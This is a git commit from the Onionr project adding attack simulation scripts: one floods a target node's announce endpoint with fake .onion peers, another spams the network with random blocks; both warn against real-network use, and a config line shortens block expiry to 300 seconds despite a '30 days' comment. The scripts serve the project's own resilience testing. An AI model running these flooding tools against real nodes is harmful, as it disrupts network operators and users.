added attack simulation scripts

This commit is contained in:
Kevin Froman 2020-02-02 21:21:51 -06:00
parent c58bbbb10f
commit 6500229000
4 changed files with 50 additions and 2 deletions

View File

@ -1,4 +1,6 @@
This directory contains useful scripts and utilities that don't make sense to include as official Onionr features.
passphrase-generator.py: very simple utility to generate and print a strong passphrase to stdout. 256 bits of entropy by default.
enable-dev-config.py/disable-dev-config.py: enable/disable dev default config setup
enable-dev-config.py/disable-dev-config.py: enable/disable dev default config setup
block-spammer.py: attack tool for spamming blocks
announce-attack.py: flood a node with false nodes

View File

@ -0,0 +1,25 @@
import sys
import os
import secrets
import base64
os.chdir('../')
sys.path.append("src/")
from onionrutils import stringvalidators
from onionrutils import basicrequests
def random_tor_generator():
return base64.b32encode(secrets.token_bytes(35)).decode().replace("=", "").lower() + ".onion"
node = input("Enter node to attack. Note that you must legally use your own, and even that might lead to issues")
assert stringvalidators.validate_transport(node)
count = int(input("Attack amount: "))
port = input("Socks:")
for x in range(count):
new = random_tor_generator()
print(f"Introducing {new} to {node}")
basicrequests.do_post_request(
f'http://{node}/announce',
data = {'node': new},
port=port)

21
scripts/block-spammer.py Executable file
View File

@ -0,0 +1,21 @@
#!/usr/bin/env python3
"""Spam a bunch of Onionr blocks"""
# Please don't run this script on the real Onionr network. You wouldn't do anything but be annoying
print("Please don't run this script on the real Onionr network. You wouldn't do anything but be annoying, and possibly violate law")
import sys
import os
os.chdir('../')
sys.path.append("src/")
import onionrblocks
amount = int(input("Number of blocks:"))
for i in range(amount):
onionrblocks.insert(data=os.urandom(32))
print(i, "done")

View File

@ -53,7 +53,7 @@ MAX_NEW_PEER_QUEUE = 1000
"""Make announce take a few seconds (on average) to compute to discourage excessive node announcements"""
ANNOUNCE_POW = 6
"""30 days is plenty of time for someone to decide to renew a block"""
DEFAULT_EXPIRE = 2592000
DEFAULT_EXPIRE = 300
# Metadata header section length limits, in bytes
BLOCK_METADATA_LENGTHS = {'meta': 1000, 'sig': 200, 'signer': 200, 'time': 10, 'pow': 1000, 'encryptType': 4, 'expire': 14}